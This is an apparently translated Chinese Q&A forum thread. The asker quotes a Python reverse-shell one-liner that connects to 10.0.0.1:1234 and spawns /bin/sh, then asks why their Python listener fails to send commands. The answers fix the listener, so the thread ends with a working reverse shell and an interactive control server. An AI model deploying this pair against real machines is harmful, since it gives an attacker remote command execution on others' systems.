bash shell 和 python 服务器发送命令

Question

我对我在本地尝试的反向 shell 之一有疑问：

在手动尝试使用以下反向 shell 获取交互式 shell 的步骤后：

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

_

我试图做一个 python 服务器来自动化这个：

# coding: utf-8

import socket

socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
socket.bind(('', 1234))
socket.listen(1)
client, address = socket.accept()
print "{} connected".format( address )

while True:
        print(client.recv(2048)) # this showed me I had a shell
        client.send(input("").encode('utf-8'))

client.close()
stock.close()

有人能弄清楚为什么我的命令没有执行但 shell 启动（客户端）吗？

谢谢。

Answer 1

    client.send(input("").encode('utf-8'))

input将从它读取的输入中删除换行符。 shell 虽然期望命令以换行符结尾。 因此，解决方法是添加缺少的换行符：

    client.send(input("").encode('utf-8') + b"\n")

Answer 2

• 首先，变量名不应与库名相同。
• 服务器首先需要一些数据，但没有数据到来。 这就是问题发生的原因。
• 由于您直接连接到 shell，因此每次发送数据时都必须使用换行符，即 '\n'
• 每次发送数据时，您都必须等待一段时间才能获取数据。 如果你不等待，就会出现问题，因为你试图在代码在另一端运行之前拉取数据。
• 您需要解码传入的数据
• 关闭客户端和套接字将不起作用。 因为它永远不会退出 while 循环，并且下面的代码将不起作用。 您可以为此检查 output。 例如，当您键入“退出”时，循环将结束。

代码至少应该是这样的：

import socket
import time

def interact(client):
    command=''
    while(command != 'exit'):
        command=input('$ ')
        client.send((command + '\n').encode('utf-8'))
        time.sleep(0.5)
        print client.recv(2048).decode('utf-8')
    client.close()
    return

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('', 1234))
s.listen(1)
client, addr = s.accept()
print "{} connected".format( addr )
interact(client)